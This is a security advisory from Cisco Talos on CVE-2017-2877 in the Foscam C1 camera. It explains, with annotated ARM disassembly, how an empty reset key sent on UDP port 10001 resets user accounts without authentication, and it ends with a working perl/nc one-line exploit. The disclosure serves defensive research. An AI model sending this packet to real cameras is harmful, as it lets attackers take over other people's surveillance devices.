Talos Vulnerability Report

TALOS-2017-0384

Foscam IP Video Camera devMng Multi-Camera Port 10001 Command 0x0064 Empty AuthResetKey Vulnerability

November 13, 2017
CVE Number

CVE-2017-2877

Summary

A missing error check exists in the Multi-Camera interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.43. A specially crafted request on port 10001 could allow an attacker to reset the user accounts to factory defaults, without authentication.

Tested Versions

Foscam Indoor IP Camera C1 Series
System Firmware Version: 1.9.3.18
Application Firmware Version: 2.52.2.43
Plug-In Version: 3.3.0.26

Product URLs

http://www.foscam.com/downloads/index.html

CVSSv3 Score

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-392: Missing Report of Error Condition

Details

Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.

The device has a Multi-Camera feature that allows cameras to communicate with each other, in order to display multiple streams on a unique web interface. Communication between cameras happen on UDP ports 10000 and 10001 and is handled by the binary "devMng".

sub_29A98 is the threaded function that manages incoming messages on both ports using select [1]. If a message is sent to port 10001, the function multicamera_p10001 is called [2].

```
.text:00029A98             sub_29A98
.text:00029A98
.text:00029A98 F0 45 2D E9      STMFD   SP!, {R4-R8,R10,LR}
.text:00029A9C 10 30 A0 E3      MOV     R3, #0x10
.text:00029AA0 71 DF 4D E2      SUB     SP, SP, #0x1C4
.text:00029AA4 BC 31 8D E5      STR     R3, [SP,#0x1E0+var_24]
.text:00029AA8 5C 33 9F E5      LDR     R3, =0x3DE
.text:00029AAC 00 30 8D E5      STR     R3, [SP,#0x1E0+timeout]
.text:00029AB0 58 33 9F E5      LDR     R3, =aStartListenDis       ; "Start listen discovery port"
.text:00029AB4 00 40 A0 E1      MOV     R4, R0
.text:00029AB8 04 30 8D E5      STR     R3, [SP,#0x1E0+addr_len]
.text:00029ABC 06 00 A0 E3      MOV     R0, #6
.text:00029AC0 4C 33 9F E5      LDR     R3, =aIpcamdiscovery       ; "IPCamDiscovery/CIPCamDiscovery.cpp"
.text:00029AC4 03 10 A0 E3      MOV     R1, #3
.text:00029AC8 48 23 9F E5      LDR     R2, =(aMayNotBeAvaila+0x19)
.text:00029ACC 06 A4 FF EB      BL      _Z8wirteLogiiPKcS0_iS0_z
...
.text:00029BC0 01 0B A0 E3      MOV     R0, #0x400
.text:00029BC4 05 20 A0 E1      MOV     R2, R5
.text:00029BC8 05 30 A0 E1      MOV     R3, R5
.text:00029BCC B0 51 8D E5      STR     R5, [SP,#0x1E0+var_30]
.text:00029BD0 C6 A2 FF EB      BL      select                     ; [1]
.text:00029BD4 05 00 50 E1      CMP     R0, R5
.text:00029BD8 78 00 00 0A      BEQ     loc_29DC0
.text:00029BDC 0B 00 00 AA      BGE     loc_29C10
...
.text:00029C10             loc_29C10
...
.text:00029C30 28 00 00 0A      BEQ     loc_29CD8
...
.text:00029C50 04 30 8D E5      STR     R3, [SP,#0x1E0+addr_len]
.text:00029C54 0C 00 94 E5      LDR     R0, [R4,#0xC]
.text:00029C58 08 10 A0 E1      MOV     R1, R8                     ; buffer
.text:00029C5C 01 2C A0 E3      MOV     R2, #0x100
.text:00029C60 05 30 A0 E1      MOV     R3, R5
.text:00029C64 00 70 8D E5      STR     R7, [SP,#0x1E0+timeout]
.text:00029C68 20 A4 FF EB      BL      recvfrom
...
.text:00029CB8 E5 FE FF EB      BL      multicamera_p10000
...
.text:00029CD8             loc_29CD8
...
.text:00029D18 04 30 8D E5      STR     R3, [SP,#0x1E0+addr_len]
.text:00029D1C 54 00 94 E5      LDR     R0, [R4,#0x54]
.text:00029D20 08 10 A0 E1      MOV     R1, R8                     ; buffer
.text:00029D24 01 2C A0 E3      MOV     R2, #0x100
.text:00029D28 07 30 A0 E1      MOV     R3, R7
.text:00029D2C 00 50 8D E5      STR     R5, [SP,#0x1E0+timeout]
.text:00029D30 EE A3 FF EB      BL      recvfrom
...
.text:00029D80 35 FE FF EB      BL      multicamera_p10001         ; [2]
```

multicamera_p10001 receives the "CIPCamDiscovery" object [3], the message [4] and its length [5] as parameters. The message header "MO_I" is checked [6] and the 16bit command identifier is extracted [7]. If the "discovery" command ("0x0064") is used [8], the 32bit payload size is extracted and verified against the length of the whole message minus 0x17 (the header length) [9]. If all checks are passed, the function sub_281FC is called [10] passing the message payload as second parameter [11].

```
.text:0002965C             multicamera_p10001
.text:0002965C
.text:0002965C F0 45 2D E9      STMFD   SP!, {R4-R8,R10,LR}
.text:00029660 00 A0 53 E2      SUBS    R10, R3, #0
.text:00029664 4C D0 4D E2      SUB     SP, SP, #0x4C
.text:00029668 00 60 A0 E1      MOV     R6, R0                  ; [3]
.text:0002966C 01 40 A0 E1      MOV     R4, R1                  ; [4]
.text:00029670 02 50 A0 E1      MOV     R5, R2                  ; [5]
.text:00029674 68 70 9D E5      LDR     R7, [SP,#0x68+arg_0]
.text:00029678 60 00 00 0A      BEQ     loc_29800
.text:0002967C 00 00 51 E3      CMP     R1, #0
.text:00029680 00 00 52 13      CMPNE   R2, #0
.text:00029684 00 30 A0 13      MOVNE   R3, #0
.text:00029688 01 30 A0 03      MOVEQ   R3, #1
.text:0002968C 09 00 00 1A      BNE     loc_296B8
...
.text:000296B8             loc_296B8
.text:000296B8 40 80 8D E2      ADD     R8, SP, #0x68+dest
...
.text:000296D0 08 00 A0 E1      MOV     R0, R8
.text:000296D4 64 11 9F E5      LDR     R1, =aMo_i              ; "MO_I"
.text:000296D8 E1 A5 FF EB      BL      strcmp                  ; [6]
.text:000296DC 00 80 50 E2      SUBS    R8, R0, #0
.text:000296E0 46 00 00 1A      BNE     loc_29800
.text:000296E4 04 30 D4 E5      LDRB    R3, [R4,#4]
.text:000296E8 05 20 D4 E5      LDRB    R2, [R4,#5]
.text:000296EC 02 34 83 E1      ORR     R3, R3, R2,LSL#8
.text:000296F0 03 38 A0 E1      MOV     R3, R3,LSL#16
.text:000296F4 43 38 B0 E1      MOVS    R3, R3,ASR#16           ; [7]
.text:000296F8 02 00 00 0A      BEQ     loc_29708
.text:000296FC 64 00 53 E3      CMP     R3, #0x64
.text:00029700 47 00 00 1A      BNE     loc_29824
.text:00029704 28 00 00 EA      B       loc_297AC               ; [8]
...
.text:000297AC             loc_297AC
.text:000297AC 0F 30 D4 E5      LDRB    R3, [R4,#0xF]
.text:000297B0 10 20 D4 E5      LDRB    R2, [R4,#0x10]
.text:000297B4 02 24 83 E1      ORR     R2, R3, R2,LSL#8
.text:000297B8 11 30 D4 E5      LDRB    R3, [R4,#0x11]
.text:000297BC 03 28 82 E1      ORR     R2, R2, R3,LSL#16
.text:000297C0 12 30 D4 E5      LDRB    R3, [R4,#0x12]
.text:000297C4 03 2C 82 E1      ORR     R2, R2, R3,LSL#24
.text:000297C8 17 30 82 E2      ADD     R3, R2, #0x17
.text:000297CC 03 00 55 E1      CMP     R5, R3                  ; [9]
.text:000297D0 0C 00 00 0A      BEQ     loc_29808
...
.text:00029808             loc_29808
.text:00029808 06 00 A0 E1      MOV     R0, R6
.text:0002980C 17 10 84 E2      ADD     R1, R4, #0x17           ; [11]
.text:00029810 0A 30 A0 E1      MOV     R3, R10
.text:00029814 00 70 8D E5      STR     R7, [SP,#0x68+var_68]
.text:00029818 77 FA FF EB      BL      sub_281FC               ; [10]
```

sub_281FC allows for resetting the user accounts in the device, given a valid "authResetKey" is supplied. Usually this key can be retrieved with the CGI command "getAuthResetKey", which is in charge of generating a random key and to send it to the "devMng" process, which stores it in a global variable. To invoke this CGI command, administrator privileges are required.

At [12] the key, passed as second parameter, is stored in %r5. At [13] the expected key buffer is stored in %r4 and is cleared [14]. The function sub_2C878 is then called passing a global structure [15] and the expected key buffer as arguments.

```
.text:000281FC             sub_281FC
.text:000281FC
.text:000281FC 30 40 2D E9      STMFD   SP!, {R4,R5,LR}
.text:00028200 00 50 51 E2      SUBS    R5, R1, #0             ; [12]
.text:00028204 24 D0 4D E2      SUB     SP, SP, #0x24
.text:00028208 06 00 00 1A      BNE     loc_28228
...
.text:00028228             loc_28228
.text:00028228 00 00 53 E3      CMP     R3, #0
.text:0002822C 0A 00 00 1A      BNE     loc_2825C
...
.text:0002825C             loc_2825C
.text:0002825C 10 40 8D E2      ADD     R4, SP, #0x30+s        ; [13]
.text:00028260 0F 20 A0 E3      MOV     R2, #0xF
.text:00028264 04 00 A0 E1      MOV     R0, R4
.text:00028268 00 10 A0 E3      MOV     R1, #0
.text:0002826C 57 AA FF EB      BL      memset                 ; [14]
.text:00028270 04 10 A0 E1      MOV     R1, R4
.text:00028274 B0 00 9F E5      LDR     R0, =dword_8F6F8       ; [15]
.text:00028278 7E 11 00 EB      BL      sub_2C878
```

sub_2C878 copies the expected key from the global structure to the buffer if the "authResetKey" is set [16]. If not, the function prints an error, but the return value is 0 in both cases.

```
.text:0002C878             sub_2C878
.text:0002C878 00 30 A0 E1      MOV     R3, R0
.text:0002C87C 00 00 51 E2      SUBS    R0, R1, #0
.text:0002C880 10 40 2D E9      STMFD   SP!, {R4,LR}
.text:0002C884 00 00 E0 03      MOVEQ   R0, #0xFFFFFFFF
.text:0002C888 10 80 BD 08      LDMEQFD SP!, {R4,PC}
.text:0002C88C 08 10 93 E5      LDR     R1, [R3,#8]
.text:0002C890 00 40 D1 E5      LDRB    R4, [R1]
.text:0002C894 00 00 54 E3      CMP     R4, #0
.text:0002C898 03 00 00 1A      BNE     loc_2C8AC
.text:0002C89C 14 00 9F E5      LDR     R0, =aGetdevauthrese  ; "getDevAuthResetKey error, authResetKey have not set !"
.text:0002C8A0 B7 99 FF EB      BL      printf
.text:0002C8A4 04 00 A0 E1      MOV     R0, R4
.text:0002C8A8 10 80 BD E8      LDMFD   SP!, {R4,PC}
.text:0002C8AC
.text:0002C8AC             loc_2C8AC
.text:0002C8AC FF 99 FF EB      BL      strcpy                ; [16]
.text:0002C8B0 00 00 A0 E3      MOV     R0, #0
.text:0002C8B4 10 80 BD E8      LDMFD   SP!, {R4,PC}
```

Back in the parent function, there's no way to check whether the previous call was successful or not: the execution continues and the key and expected key buffers are compared [17]. If equal, the password reset request is sent via an IPC call with code 0x4028 [18]: this invokes the function "OnWebServiceMsgRestoreUserAccount" in the "webService" binary, which resets the user accounts to factory defaults.

```
.text:0002827C AC 30 9F E5      LDR     R3, =0x2DB
.text:00028280 00 30 8D E5      STR     R3, [SP,#0x30+var_30]
.text:00028284 A8 30 9F E5      LDR     R3, =aHandleresetu_1                ; "handleResetUsrPwdReq pResetCmdInfo->key is %s. config Auth key is %s."
...
.text:000282A8 04 10 A0 E1      MOV     R1, R4
.text:000282AC 05 00 A0 E1      MOV     R0, R5
.text:000282B0 EB AA FF EB      BL      strcmp                              ; [17]
.text:000282B4 00 40 50 E2      SUBS    R4, R0, #0
.text:000282B8 0A 00 00 1A      BNE     loc_282E8
.text:000282BC 74 00 9F E5      LDR     R0, =unk_8A480
.text:000282C0 74 10 9F E5      LDR     R1, =0x4028                         ; [18]
.text:000282C4 04 20 A0 E1      MOV     R2, R4
.text:000282C8 04 30 A0 E1      MOV     R3, R4
.text:000282CC 00 40 8D E5      STR     R4, [SP,#0x30+var_30]
.text:000282D0 04 40 8D E5      STR     R4, [SP,#0x30+var_2C]
.text:000282D4 08 40 8D E5      STR     R4, [SP,#0x30+var_28]
.text:000282D8 0C 40 8D E5      STR     R4, [SP,#0x30+var_24]
.text:000282DC 36 A9 FF EB      BL      _ZN10CMsgClient7sendMsgEicPKciiiPc  ; CMsgClient::sendMsg(int,char,char const*,int,int,int,char *)
.text:000282E0 04 00 A0 E1      MOV     R0, R4
.text:000282E4 09 00 00 EA      B       loc_28310
.text:000282E8
.text:000282E8             loc_282E8
.text:000282E8 50 30 9F E5      LDR     R3, =0x2E3
.text:000282EC 00 30 8D E5      STR     R3, [SP,#0x30+var_30]
.text:000282F0 4C 30 9F E5      LDR     R3, =aHandleresetu_2                ; "handleResetUsrPwdReq pResetCmdInfo->key is not match!"
.text:000282F4 04 30 8D E5      STR     R3, [SP,#0x30+var_2C]
.text:000282F8 06 00 A0 E3      MOV     R0, #6
.text:000282FC 02 10 A0 E3      MOV     R1, #2
.text:00028300 1C 20 9F E5      LDR     R2, =""
.text:00028304 1C 30 9F E5      LDR     R3, =aIpcamdiscovery
.text:00028308 F7 A9 FF EB      BL      _Z8wirteLogiiPKcS0_iS0_z            ; wirteLog(int,int,char const*,char const*,int,char const*,...)
.text:0002830C 00 00 A0 E3      MOV     R0, #0
.text:00028310
.text:00028310             loc_28310
.text:00028310 24 D0 8D E2      ADD     SP, SP, #0x24
.text:00028314 30 80 BD E8      LDMFD   SP!, {R4,R5,PC}
```

Because function sub_2C878 fails to return an error code, an attacker could reset the users' database by sending a request with a 1-byte null value as key.

Exploit Proof-of-Concept

This vulnerability is reachable on port 10001 by command 0x0064 and doesn't require any privilege. The following proof of concept sends a request with an empty key ("\x00") which should reset the accounts to factory defaults when no "authResetKey" is set.

```
$ sIP="192.168.0.10"
$ perl -e 'print "MO_I","\x64\x00","A"x9,"\x01\x00\x00\x00","B"x4,"\x00"' | nc -u $sIP 10001
```

Timeline

2017-07-13 - Vendor Disclosure
2017-11-13 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.